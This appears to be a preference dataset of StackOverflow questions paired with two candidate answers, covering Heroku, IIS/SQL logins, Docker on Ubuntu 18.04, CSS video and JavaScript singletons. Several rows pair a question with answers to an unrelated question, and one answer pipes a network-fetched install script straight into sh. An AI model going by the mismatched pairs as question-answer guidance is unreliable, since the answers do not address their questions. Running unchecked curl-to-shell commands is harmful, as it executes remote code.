qid
int64
2
74.7M
question
stringlengths
31
65.1k
date
stringlengths
10
10
metadata
sequence
response_j
stringlengths
4
63.3k
response_k
stringlengths
4
60.5k
16,211,299
I want to migrate a database to [Heroku](http://en.wikipedia.org/wiki/Heroku). The old database is exported to some [JSON](http://en.wikipedia.org/wiki/JSON) files, but now I don't know how to select the database in Heroku. My issue is: * The data is always increasing, so in the future, there will be a lot of data. Which database is available for this? * I can only get JSON files from my old database. Can it be imported into the Heroku database? * My users are mostly in America. The database in Heroku whether lead the user's access speed slowly or not? * My project is using [Ruby on Rails](http://en.wikipedia.org/wiki/Ruby_on_Rails). What should I do?
2013/04/25
[ "https://Stackoverflow.com/questions/16211299", "https://Stackoverflow.com", "https://Stackoverflow.com/users/994904/" ]
You're using `getElementById` so you need an id: ``` <select id="cognome" name="cognome"> ``` Also the syntax error where the parentheses need to match :)
Look at your javascript error console, you misplaced a `}` instead of a `)` , see: ``` select.options[select.options.length] = new Option(i, i} THIS SHOULD BE A ')'-----^ ``` Also add the `id` as louisbros comments in other answer.. See [**working demo**](http://tinker.io/94512)
16,211,299
I want to migrate a database to [Heroku](http://en.wikipedia.org/wiki/Heroku). The old database is exported to some [JSON](http://en.wikipedia.org/wiki/JSON) files, but now I don't know how to select the database in Heroku. My issue is: * The data is always increasing, so in the future, there will be a lot of data. Which database is available for this? * I can only get JSON files from my old database. Can it be imported into the Heroku database? * My users are mostly in America. The database in Heroku whether lead the user's access speed slowly or not? * My project is using [Ruby on Rails](http://en.wikipedia.org/wiki/Ruby_on_Rails). What should I do?
2013/04/25
[ "https://Stackoverflow.com/questions/16211299", "https://Stackoverflow.com", "https://Stackoverflow.com/users/994904/" ]
You're using `getElementById` so you need an id: ``` <select id="cognome" name="cognome"> ``` Also the syntax error where the parentheses need to match :)
Using the comments above: * Adding an `id="cognome"` * Correcting the parens. There's a JFiddle with it working here: <http://jsfiddle.net/WEd84/>
51,869,312
I have a rest API and an app that uses it. The app and postman can both make get requests perfectly. The problem is that on delete requests the app does not work **Most of the time** but postman works every time. The app also always receives an OK if it works or not. Any help would be appreciated. I am using Node.js and MongoDB for the api and Xamarin for the app Delete code on server: ``` // Delete a fish with the specified fishId in the request exports.delete = (req, res) => { console.log("Atempting to delete fish with id: " + req.params.fishId) Fish.findByIdAndRemove(req.params.fishId) .then(fish => { if (!fish) { return res.status(404).send({ message: "Fish not found with id " + req.params.fishId }); } if (!Fish.findByID(req.params.fishId)) { return res.status(200).send({ message: "Fish deleted sucsessfully" }); } return res.status(500).send({ message: "Could not delete fish with id " + req.params.fishId }); }).catch(err => { if (err.kind === 'ObjectId' || err.name === 'NotFound') { return res.status(404).send({ message: "Fish not found with id " + req.params.fishId }); } return res.status(500).send({ message: "Could not delete fish with id " + req.params.fishId }); }); }; ```
2018/08/16
[ "https://Stackoverflow.com/questions/51869312", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5729061/" ]
This could also be a solution to your issue! ```css html.body { margin: 0px; height: 100%; width: 100%; position:relative; } video { height: 100vh; width: 100vw; object-fit: fill; position: absolute; top: 0px; right: 0px; bottom: 0px; left: 0px; } ``` ```html <video autobuffer controls autoplay> <source id="mp4" src="http://grochtdreis.de/fuer-jsfiddle/video/sintel_trailer-480.mp4" type="video/mp4"> </video> ```
Try this out! *Click 'Run code snippet', then 'Full page'*. ```css #myVideo { position: fixed; left: 0; top: 0; min-width: 100vw; min-height: 100vh; } ``` ```html <video autoplay muted loop id="myVideo"> <source src="http://download.blender.org/peach/bigbuckbunny_movies/BigBuckBunny_320x180.mp4" type="video/mp4"> </video> ```
51,869,312
I have a rest API and an app that uses it. The app and postman can both make get requests perfectly. The problem is that on delete requests the app does not work **Most of the time** but postman works every time. The app also always receives an OK if it works or not. Any help would be appreciated. I am using Node.js and MongoDB for the api and Xamarin for the app Delete code on server: ``` // Delete a fish with the specified fishId in the request exports.delete = (req, res) => { console.log("Atempting to delete fish with id: " + req.params.fishId) Fish.findByIdAndRemove(req.params.fishId) .then(fish => { if (!fish) { return res.status(404).send({ message: "Fish not found with id " + req.params.fishId }); } if (!Fish.findByID(req.params.fishId)) { return res.status(200).send({ message: "Fish deleted sucsessfully" }); } return res.status(500).send({ message: "Could not delete fish with id " + req.params.fishId }); }).catch(err => { if (err.kind === 'ObjectId' || err.name === 'NotFound') { return res.status(404).send({ message: "Fish not found with id " + req.params.fishId }); } return res.status(500).send({ message: "Could not delete fish with id " + req.params.fishId }); }); }; ```
2018/08/16
[ "https://Stackoverflow.com/questions/51869312", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5729061/" ]
``` .videoElem { position: absolute; width: 100% } .wrapper { width: 600px; height: 400px; position: relative; } <div class="wrapper"> <video autoplay muted loop id="myVideo"> <source src="http://download.blender.org/peach/bigbuckbunny_movies/BigBuckBunny_320x180.mp4" type="video/mp4"> </video> </div> ```
Try this out! *Click 'Run code snippet', then 'Full page'*. ```css #myVideo { position: fixed; left: 0; top: 0; min-width: 100vw; min-height: 100vh; } ``` ```html <video autoplay muted loop id="myVideo"> <source src="http://download.blender.org/peach/bigbuckbunny_movies/BigBuckBunny_320x180.mp4" type="video/mp4"> </video> ```
51,869,312
I have a rest API and an app that uses it. The app and postman can both make get requests perfectly. The problem is that on delete requests the app does not work **Most of the time** but postman works every time. The app also always receives an OK if it works or not. Any help would be appreciated. I am using Node.js and MongoDB for the api and Xamarin for the app Delete code on server: ``` // Delete a fish with the specified fishId in the request exports.delete = (req, res) => { console.log("Atempting to delete fish with id: " + req.params.fishId) Fish.findByIdAndRemove(req.params.fishId) .then(fish => { if (!fish) { return res.status(404).send({ message: "Fish not found with id " + req.params.fishId }); } if (!Fish.findByID(req.params.fishId)) { return res.status(200).send({ message: "Fish deleted sucsessfully" }); } return res.status(500).send({ message: "Could not delete fish with id " + req.params.fishId }); }).catch(err => { if (err.kind === 'ObjectId' || err.name === 'NotFound') { return res.status(404).send({ message: "Fish not found with id " + req.params.fishId }); } return res.status(500).send({ message: "Could not delete fish with id " + req.params.fishId }); }); }; ```
2018/08/16
[ "https://Stackoverflow.com/questions/51869312", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5729061/" ]
This could also be a solution to your issue! ```css html.body { margin: 0px; height: 100%; width: 100%; position:relative; } video { height: 100vh; width: 100vw; object-fit: fill; position: absolute; top: 0px; right: 0px; bottom: 0px; left: 0px; } ``` ```html <video autobuffer controls autoplay> <source id="mp4" src="http://grochtdreis.de/fuer-jsfiddle/video/sintel_trailer-480.mp4" type="video/mp4"> </video> ```
``` .videoElem { position: absolute; width: 100% } .wrapper { width: 600px; height: 400px; position: relative; } <div class="wrapper"> <video autoplay muted loop id="myVideo"> <source src="http://download.blender.org/peach/bigbuckbunny_movies/BigBuckBunny_320x180.mp4" type="video/mp4"> </video> </div> ```
21,830,923
I have uploaded my website on `IIS 7` `Windows Server 2008`. Everything works fine. My site also uses database `SQL` to keep record of users. But when I try to login I get following error. ``` Cannot open database "MyCoolDb" requested by the login. The login failed. Login failed for user 'IIS APPPOOL\ASP.NET v4.0'. Ausnahmedetails: System.Data.SqlClient.SqlException: Cannot open database "MyCoolDb" requested by the login. The login failed. Login failed for user 'IIS APPPOOL\ASP.NET v4.0'. ```
2014/02/17
[ "https://Stackoverflow.com/questions/21830923", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3190389/" ]
You can add this user to your DB Logins by openning SQL Management Studio, Navigate to your database then open the Security then Logings and add new login and search for that user
with refrence to this Link: [Login failed for user 'IIS APPPOOL\ASP.NET v4.0'](https://stackoverflow.com/questions/7698286/login-failed-for-user-iis-apppool-asp-net-v4-0) you need to add `IIS APPPOOL\ASP.NET v4.0` as it is in the Login on SQL Server Management Studio
50,096,815
I checked the documentation page for Docker on Ubuntu and I don't see 18.04, which was released recently. <https://docs.docker.com/install/linux/docker-ce/ubuntu/> Anyone installed docker on 18.04? **UPDATE**: the docker documentation has been updated now and includes 18.04
2018/04/30
[ "https://Stackoverflow.com/questions/50096815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483422/" ]
Following link <https://download.docker.com/linux/ubuntu/dists/bionic/pool/>, You can choose stable now. ``` $ sudo cat /etc/apt/sources.list.d/docker.list deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable ```
Create an `apt` source-list file with the following content: > > /etc/apt/sources.list.d/docker.list > > > ``` deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic nightly ``` Update repositories and install the docker engine: ``` sudo apt update sudo apt install docker-ce ``` You can use `stable` instead of `nightly` in the `deb` declaration of the apt source file as soon as it becomes available.
50,096,815
I checked the documentation page for Docker on Ubuntu and I don't see 18.04, which was released recently. <https://docs.docker.com/install/linux/docker-ce/ubuntu/> Anyone installed docker on 18.04? **UPDATE**: the docker documentation has been updated now and includes 18.04
2018/04/30
[ "https://Stackoverflow.com/questions/50096815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483422/" ]
The easiest way to install Docker is via Ubuntu image repository: ``` sudo apt install docker.io ``` Restart your computer, then do: ``` systemctl start docker systemctl enable docker ``` <https://www.howtoforge.com/tutorial/ubuntu-docker/>
18.04 was not a stable release but an `Edge releases`. Switch to the edge channel. Edit: sorry, you mean Ubuntu 18.04, not Docker 18.04 Maybe this helps: <https://linuxconfig.org/how-to-install-docker-on-ubuntu-18-04-bionic-beaver>
50,096,815
I checked the documentation page for Docker on Ubuntu and I don't see 18.04, which was released recently. <https://docs.docker.com/install/linux/docker-ce/ubuntu/> Anyone installed docker on 18.04? **UPDATE**: the docker documentation has been updated now and includes 18.04
2018/04/30
[ "https://Stackoverflow.com/questions/50096815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483422/" ]
Following link <https://download.docker.com/linux/ubuntu/dists/bionic/pool/>, You can choose stable now. ``` $ sudo cat /etc/apt/sources.list.d/docker.list deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable ```
Here is how you can install Docker CE on Ubuntu 18.04: ``` sudo apt install apt-transport-https ca-certificates curl software-properties-common curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic test" sudo apt update sudo apt install docker-ce ``` Now, check the installed version using this command: ``` docker -v ```
50,096,815
I checked the documentation page for Docker on Ubuntu and I don't see 18.04, which was released recently. <https://docs.docker.com/install/linux/docker-ce/ubuntu/> Anyone installed docker on 18.04? **UPDATE**: the docker documentation has been updated now and includes 18.04
2018/04/30
[ "https://Stackoverflow.com/questions/50096815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483422/" ]
The easiest way to install Docker is via Ubuntu image repository: ``` sudo apt install docker.io ``` Restart your computer, then do: ``` systemctl start docker systemctl enable docker ``` <https://www.howtoforge.com/tutorial/ubuntu-docker/>
Since, I was not able to install community edition of docker by ading the edge repository (add-apt-repository). Hence, I had to install using the deb files. In order to install docker community edition on Ubuntu Bionic - I used the following steps. Step 1: **Download the .deb files using the wget utility**: ``` wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/containerd.io_1.2.6-3_amd64.deb wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce-cli_19.03.1~3-0~ubuntu-bionic_amd64.deb wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce_19.03.1~3-0~ubuntu-bionic_amd64.deb ``` Step 2: **Now Install the downloaded files using dpkg utility**: ``` sudo dpkg -i containerd.io_1.2.6-3_amd64.deb sudo dpkg -i docker-ce-cli_19.03.1~3-0~ubuntu-bionic_amd64.deb sudo dpkg -i docker-ce_19.03.1~3-0~ubuntu-bionic_amd64.deb ``` **References:** <https://docs.docker.com/install/linux/docker-ce/ubuntu/> **Stable Repositories of Docker for Ubuntu Bionic are available at:** <https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/>
50,096,815
I checked the documentation page for Docker on Ubuntu and I don't see 18.04, which was released recently. <https://docs.docker.com/install/linux/docker-ce/ubuntu/> Anyone installed docker on 18.04? **UPDATE**: the docker documentation has been updated now and includes 18.04
2018/04/30
[ "https://Stackoverflow.com/questions/50096815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483422/" ]
Create an `apt` source-list file with the following content: > > /etc/apt/sources.list.d/docker.list > > > ``` deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic nightly ``` Update repositories and install the docker engine: ``` sudo apt update sudo apt install docker-ce ``` You can use `stable` instead of `nightly` in the `deb` declaration of the apt source file as soon as it becomes available.
18.04 was not a stable release but an `Edge releases`. Switch to the edge channel. Edit: sorry, you mean Ubuntu 18.04, not Docker 18.04 Maybe this helps: <https://linuxconfig.org/how-to-install-docker-on-ubuntu-18-04-bionic-beaver>
50,096,815
I checked the documentation page for Docker on Ubuntu and I don't see 18.04, which was released recently. <https://docs.docker.com/install/linux/docker-ce/ubuntu/> Anyone installed docker on 18.04? **UPDATE**: the docker documentation has been updated now and includes 18.04
2018/04/30
[ "https://Stackoverflow.com/questions/50096815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483422/" ]
Since, I was not able to install community edition of docker by ading the edge repository (add-apt-repository). Hence, I had to install using the deb files. In order to install docker community edition on Ubuntu Bionic - I used the following steps. Step 1: **Download the .deb files using the wget utility**: ``` wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/containerd.io_1.2.6-3_amd64.deb wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce-cli_19.03.1~3-0~ubuntu-bionic_amd64.deb wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce_19.03.1~3-0~ubuntu-bionic_amd64.deb ``` Step 2: **Now Install the downloaded files using dpkg utility**: ``` sudo dpkg -i containerd.io_1.2.6-3_amd64.deb sudo dpkg -i docker-ce-cli_19.03.1~3-0~ubuntu-bionic_amd64.deb sudo dpkg -i docker-ce_19.03.1~3-0~ubuntu-bionic_amd64.deb ``` **References:** <https://docs.docker.com/install/linux/docker-ce/ubuntu/> **Stable Repositories of Docker for Ubuntu Bionic are available at:** <https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/>
18.04 was not a stable release but an `Edge releases`. Switch to the edge channel. Edit: sorry, you mean Ubuntu 18.04, not Docker 18.04 Maybe this helps: <https://linuxconfig.org/how-to-install-docker-on-ubuntu-18-04-bionic-beaver>
50,096,815
I checked the documentation page for Docker on Ubuntu and I don't see 18.04, which was released recently. <https://docs.docker.com/install/linux/docker-ce/ubuntu/> Anyone installed docker on 18.04? **UPDATE**: the docker documentation has been updated now and includes 18.04
2018/04/30
[ "https://Stackoverflow.com/questions/50096815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483422/" ]
You can install docker using one simple command: ``` curl -fsSL https://get.docker.com | sh ``` Works not only on ubuntu but on all platforms supported by docker (kinda)
Since, I was not able to install community edition of docker by ading the edge repository (add-apt-repository). Hence, I had to install using the deb files. In order to install docker community edition on Ubuntu Bionic - I used the following steps. Step 1: **Download the .deb files using the wget utility**: ``` wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/containerd.io_1.2.6-3_amd64.deb wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce-cli_19.03.1~3-0~ubuntu-bionic_amd64.deb wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce_19.03.1~3-0~ubuntu-bionic_amd64.deb ``` Step 2: **Now Install the downloaded files using dpkg utility**: ``` sudo dpkg -i containerd.io_1.2.6-3_amd64.deb sudo dpkg -i docker-ce-cli_19.03.1~3-0~ubuntu-bionic_amd64.deb sudo dpkg -i docker-ce_19.03.1~3-0~ubuntu-bionic_amd64.deb ``` **References:** <https://docs.docker.com/install/linux/docker-ce/ubuntu/> **Stable Repositories of Docker for Ubuntu Bionic are available at:** <https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/>
50,096,815
I checked the documentation page for Docker on Ubuntu and I don't see 18.04, which was released recently. <https://docs.docker.com/install/linux/docker-ce/ubuntu/> Anyone installed docker on 18.04? **UPDATE**: the docker documentation has been updated now and includes 18.04
2018/04/30
[ "https://Stackoverflow.com/questions/50096815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483422/" ]
Following link <https://download.docker.com/linux/ubuntu/dists/bionic/pool/>, You can choose stable now. ``` $ sudo cat /etc/apt/sources.list.d/docker.list deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable ```
Since, I was not able to install community edition of docker by ading the edge repository (add-apt-repository). Hence, I had to install using the deb files. In order to install docker community edition on Ubuntu Bionic - I used the following steps. Step 1: **Download the .deb files using the wget utility**: ``` wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/containerd.io_1.2.6-3_amd64.deb wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce-cli_19.03.1~3-0~ubuntu-bionic_amd64.deb wget -c https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce_19.03.1~3-0~ubuntu-bionic_amd64.deb ``` Step 2: **Now Install the downloaded files using dpkg utility**: ``` sudo dpkg -i containerd.io_1.2.6-3_amd64.deb sudo dpkg -i docker-ce-cli_19.03.1~3-0~ubuntu-bionic_amd64.deb sudo dpkg -i docker-ce_19.03.1~3-0~ubuntu-bionic_amd64.deb ``` **References:** <https://docs.docker.com/install/linux/docker-ce/ubuntu/> **Stable Repositories of Docker for Ubuntu Bionic are available at:** <https://download.docker.com/linux/ubuntu/dists/bionic/pool/stable/amd64/>
50,096,815
I checked the documentation page for Docker on Ubuntu and I don't see 18.04, which was released recently. <https://docs.docker.com/install/linux/docker-ce/ubuntu/> Anyone installed docker on 18.04? **UPDATE**: the docker documentation has been updated now and includes 18.04
2018/04/30
[ "https://Stackoverflow.com/questions/50096815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483422/" ]
I followed the installation guide [Get Docker CE for Ubuntu](https://docs.docker.com/install/linux/docker-ce/ubuntu/) and in step 4 I added the edge repository: ``` $ sudo add-apt-repository \ "deb [arch=amd64] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) \ edge" ```
18.04 was not a stable release but an `Edge releases`. Switch to the edge channel. Edit: sorry, you mean Ubuntu 18.04, not Docker 18.04 Maybe this helps: <https://linuxconfig.org/how-to-install-docker-on-ubuntu-18-04-bionic-beaver>
50,096,815
I checked the documentation page for Docker on Ubuntu and I don't see 18.04, which was released recently. <https://docs.docker.com/install/linux/docker-ce/ubuntu/> Anyone installed docker on 18.04? **UPDATE**: the docker documentation has been updated now and includes 18.04
2018/04/30
[ "https://Stackoverflow.com/questions/50096815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483422/" ]
You can install docker using one simple command: ``` curl -fsSL https://get.docker.com | sh ``` Works not only on ubuntu but on all platforms supported by docker (kinda)
Here is how you can install Docker CE on Ubuntu 18.04: ``` sudo apt install apt-transport-https ca-certificates curl software-properties-common curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic test" sudo apt update sudo apt install docker-ce ``` Now, check the installed version using this command: ``` docker -v ```
52,188,364
I need to extend a singleton class in JavaScript . The problem that I am facing is that I get the class instance which I am extending from instead of only getting the methods of the class. I have tried to remove `super` to not get the instance but then I got an error > > Must call super constructor in derived class before accessing 'this' or returning from derived constructor > > > Code example: ```js let instanceA = null; let instanceB = null; class A { constructor(options) { if (instanceA === null) { this.options = options; instanceA = this; } return instanceA; } } class B extends A { constructor(options) { if (instanceB === null) { super() console.log('real class is ' + this.constructor.name) this.options = options instanceB = this; } return instanceB; } } const a = new A({ i_am_a: "aaaaaa" }); const b = new B({ i_am_b: "bbbbbb" }) // this change a console.log(b.options) console.log(a.options) ```
2018/09/05
[ "https://Stackoverflow.com/questions/52188364", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8585202/" ]
In JavaScript, a singleton is just an object literal. ``` const a = { options: { i_am_a: "aaaaaa" } }; const b = { options: { i_am_b: "bbbbbb" } }; ``` If you really need a constructor function, you can just write a function that returns an object. ``` function makeSingleton(options) { return { options } } const a = makeSingleton({i_am_a: "aaaaaa"}); const b = makeSingleton({i_am_b: "bbbbbb"}); ``` There's no inheritance chain here, just two object literals. If you absolutely need a class, you can just create one, but it's an unnecessary waste of resources and typing. ``` class Singleton { constructor(options) { this.options = options; } } const a = new Singleton({i_am_a: "aaaaaa"}); const b = new Singleton({i_am_b: "bbbbbb"}); ``` In terms of inheriting, if that's something you really need, you can use `Object.create()` or `Object.assign()`, depending on your needs. Be aware that both are shallow - they only work a single layer deep so modifying the child's `options` property would modify the parent's `options` property as well. ``` const a = { options: { i_am_a: "aaaaaa" }, getOptions() { return this.options; } }; const b = Object.create(a); b.options.i_am_b: "bbbbbb"; a.options.i_am_b; // -> "bbbbbb" b.getOptions(); // -> { i_am_a: "aaaaaa", i_am_b: "bbbbbb" } ``` Of course, you could use `Object.create()` or `Object.assign()` on the `options` as well. To be honest, I think you either need a couple of instances of the same class, or a simple object literal without any inheritance.
well i don't know if it the best solution but what i did is to check if the constructor name is different then the class name. if so then i let it create a new instance because that mean i try to extend the class here is a working example of my test ```js let instanceA = null; let instanceB = null; class A { constructor(options) { this.options = options; if (instanceA === null) { instanceA = this; } if(this.constructor.name !== "A"){ return this; } return instanceA; } method1(){ console.log(this.constructor.name) } } class B extends A { constructor(options) { if (instanceB === null) { super(options) instanceB = this; } return instanceB; } } const a = new A({ i_am_a: "aaaaaa" });a const b = new B({ i_am_b: "bbbbbb" }) const c = new A({ i_am_c: "ccccc" }); const d = new B({ i_am_d: "ddddd" }) console.log(a.options) console.log(b.options) console.log(c.options) console.log(d.options) a.method1(); b.method1(); c.method1(); d.method1(); ```
52,188,364
I need to extend a singleton class in JavaScript . The problem that I am facing is that I get the class instance which I am extending from instead of only getting the methods of the class. I have tried to remove `super` to not get the instance but then I got an error > > Must call super constructor in derived class before accessing 'this' or returning from derived constructor > > > Code example: ```js let instanceA = null; let instanceB = null; class A { constructor(options) { if (instanceA === null) { this.options = options; instanceA = this; } return instanceA; } } class B extends A { constructor(options) { if (instanceB === null) { super() console.log('real class is ' + this.constructor.name) this.options = options instanceB = this; } return instanceB; } } const a = new A({ i_am_a: "aaaaaa" }); const b = new B({ i_am_b: "bbbbbb" }) // this change a console.log(b.options) console.log(a.options) ```
2018/09/05
[ "https://Stackoverflow.com/questions/52188364", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8585202/" ]
So, first of all there's a misconception here: > > I have tried to remove super to not get the instance but then I got an error > > > `super()` calls the parent class' **constructor** on the created instance of the child class (i.e. what `this` is referencing). It does not return a parent class instance. [See here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/super) for more information. So, calling `super()` does not violate the singleton property of the parent class at all. It may well be only constructed a single time if implemented correctly. --- With that in mind, you should improve your code a little bit. A sensible change would be to remove the instance management from the constructors. One solution would be to use **static constructors** which either create the singleton if no instance exists or return the created instance. Another one is to drop the arguments to the singleton class constructors. It doesn't really make sense to pass arguments to a class which is supposed to be instantiated once (you're never gonna do anything with the constructor arguments again). You could just make the arguments properties of the singleton right away. Here's a [SO answer](https://stackoverflow.com/a/1051076/305949) supporting this point for Java singletons. A complete example with static constructors and without arguments looks like this: ```js let instanceA = null; let instanceB = null; let counters = { A: 0, B: 0 }; // count class instantiations class A { static getInstance() { if (instanceA === null) { instanceA = new A(); } return instanceA; } whoami() { const name = this.constructor.name; return `${name} #${counters[name]}`; } constructor() { counters[this.constructor.name] += 1; } } class B extends A { static getInstance() { if (instanceB === null) { instanceB = new B(); } return instanceB; } constructor() { super(); } } const a1 = A.getInstance(); const a2 = A.getInstance(); const a3 = A.getInstance(); const b1 = B.getInstance(); const b2 = B.getInstance(); const b3 = B.getInstance(); console.log(a1.whoami()); console.log(a2.whoami()); console.log(a3.whoami()); console.log(b1.whoami()); console.log(b2.whoami()); console.log(b3.whoami()); ``` Note that `B` inherits `whoami` from `A` and that the constructor call counters are never incremented past 1. Obviously with this approach you can make no guarantee the singleton property holds for each class unless only the static constructors are used to generate instances (since the constructors are still accessible). I think it's a good compromise though.
In JavaScript, a singleton is just an object literal. ``` const a = { options: { i_am_a: "aaaaaa" } }; const b = { options: { i_am_b: "bbbbbb" } }; ``` If you really need a constructor function, you can just write a function that returns an object. ``` function makeSingleton(options) { return { options } } const a = makeSingleton({i_am_a: "aaaaaa"}); const b = makeSingleton({i_am_b: "bbbbbb"}); ``` There's no inheritance chain here, just two object literals. If you absolutely need a class, you can just create one, but it's an unnecessary waste of resources and typing. ``` class Singleton { constructor(options) { this.options = options; } } const a = new Singleton({i_am_a: "aaaaaa"}); const b = new Singleton({i_am_b: "bbbbbb"}); ``` In terms of inheriting, if that's something you really need, you can use `Object.create()` or `Object.assign()`, depending on your needs. Be aware that both are shallow - they only work a single layer deep so modifying the child's `options` property would modify the parent's `options` property as well. ``` const a = { options: { i_am_a: "aaaaaa" }, getOptions() { return this.options; } }; const b = Object.create(a); b.options.i_am_b: "bbbbbb"; a.options.i_am_b; // -> "bbbbbb" b.getOptions(); // -> { i_am_a: "aaaaaa", i_am_b: "bbbbbb" } ``` Of course, you could use `Object.create()` or `Object.assign()` on the `options` as well. To be honest, I think you either need a couple of instances of the same class, or a simple object literal without any inheritance.
52,188,364
I need to extend a singleton class in JavaScript . The problem that I am facing is that I get the class instance which I am extending from instead of only getting the methods of the class. I have tried to remove `super` to not get the instance but then I got an error > > Must call super constructor in derived class before accessing 'this' or returning from derived constructor > > > Code example: ```js let instanceA = null; let instanceB = null; class A { constructor(options) { if (instanceA === null) { this.options = options; instanceA = this; } return instanceA; } } class B extends A { constructor(options) { if (instanceB === null) { super() console.log('real class is ' + this.constructor.name) this.options = options instanceB = this; } return instanceB; } } const a = new A({ i_am_a: "aaaaaa" }); const b = new B({ i_am_b: "bbbbbb" }) // this change a console.log(b.options) console.log(a.options) ```
2018/09/05
[ "https://Stackoverflow.com/questions/52188364", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8585202/" ]
In JavaScript, a singleton is just an object literal. ``` const a = { options: { i_am_a: "aaaaaa" } }; const b = { options: { i_am_b: "bbbbbb" } }; ``` If you really need a constructor function, you can just write a function that returns an object. ``` function makeSingleton(options) { return { options } } const a = makeSingleton({i_am_a: "aaaaaa"}); const b = makeSingleton({i_am_b: "bbbbbb"}); ``` There's no inheritance chain here, just two object literals. If you absolutely need a class, you can just create one, but it's an unnecessary waste of resources and typing. ``` class Singleton { constructor(options) { this.options = options; } } const a = new Singleton({i_am_a: "aaaaaa"}); const b = new Singleton({i_am_b: "bbbbbb"}); ``` In terms of inheriting, if that's something you really need, you can use `Object.create()` or `Object.assign()`, depending on your needs. Be aware that both are shallow - they only work a single layer deep so modifying the child's `options` property would modify the parent's `options` property as well. ``` const a = { options: { i_am_a: "aaaaaa" }, getOptions() { return this.options; } }; const b = Object.create(a); b.options.i_am_b: "bbbbbb"; a.options.i_am_b; // -> "bbbbbb" b.getOptions(); // -> { i_am_a: "aaaaaa", i_am_b: "bbbbbb" } ``` Of course, you could use `Object.create()` or `Object.assign()` on the `options` as well. To be honest, I think you either need a couple of instances of the same class, or a simple object literal without any inheritance.
```js const instances = {} class Singleton { constructor() { const instance = instances[this.constructor]; if (instance == null) { return instances[this.constructor] = this; } return instance; } } class Foo extends Singleton { constructor() { super(); this.foo = "foo"; } } class Bar extends Singleton { constructor() { super(); this.foo = "bar"; } } const foo1 = new Foo(); const foo2 = new Foo(); const bar1 = new Bar(); const bar2 = new Bar(); console.log(foo1 === foo2, bar1 === bar2, foo1 === bar1, foo1.foo = 123, foo2, bar1); ```
52,188,364
I need to extend a singleton class in JavaScript . The problem that I am facing is that I get the class instance which I am extending from instead of only getting the methods of the class. I have tried to remove `super` to not get the instance but then I got an error > > Must call super constructor in derived class before accessing 'this' or returning from derived constructor > > > Code example: ```js let instanceA = null; let instanceB = null; class A { constructor(options) { if (instanceA === null) { this.options = options; instanceA = this; } return instanceA; } } class B extends A { constructor(options) { if (instanceB === null) { super() console.log('real class is ' + this.constructor.name) this.options = options instanceB = this; } return instanceB; } } const a = new A({ i_am_a: "aaaaaa" }); const b = new B({ i_am_b: "bbbbbb" }) // this change a console.log(b.options) console.log(a.options) ```
2018/09/05
[ "https://Stackoverflow.com/questions/52188364", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8585202/" ]
So, first of all there's a misconception here: > > I have tried to remove super to not get the instance but then I got an error > > > `super()` calls the parent class' **constructor** on the created instance of the child class (i.e. what `this` is referencing). It does not return a parent class instance. [See here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/super) for more information. So, calling `super()` does not violate the singleton property of the parent class at all. It may well be only constructed a single time if implemented correctly. --- With that in mind, you should improve your code a little bit. A sensible change would be to remove the instance management from the constructors. One solution would be to use **static constructors** which either create the singleton if no instance exists or return the created instance. Another one is to drop the arguments to the singleton class constructors. It doesn't really make sense to pass arguments to a class which is supposed to be instantiated once (you're never gonna do anything with the constructor arguments again). You could just make the arguments properties of the singleton right away. Here's a [SO answer](https://stackoverflow.com/a/1051076/305949) supporting this point for Java singletons. A complete example with static constructors and without arguments looks like this: ```js let instanceA = null; let instanceB = null; let counters = { A: 0, B: 0 }; // count class instantiations class A { static getInstance() { if (instanceA === null) { instanceA = new A(); } return instanceA; } whoami() { const name = this.constructor.name; return `${name} #${counters[name]}`; } constructor() { counters[this.constructor.name] += 1; } } class B extends A { static getInstance() { if (instanceB === null) { instanceB = new B(); } return instanceB; } constructor() { super(); } } const a1 = A.getInstance(); const a2 = 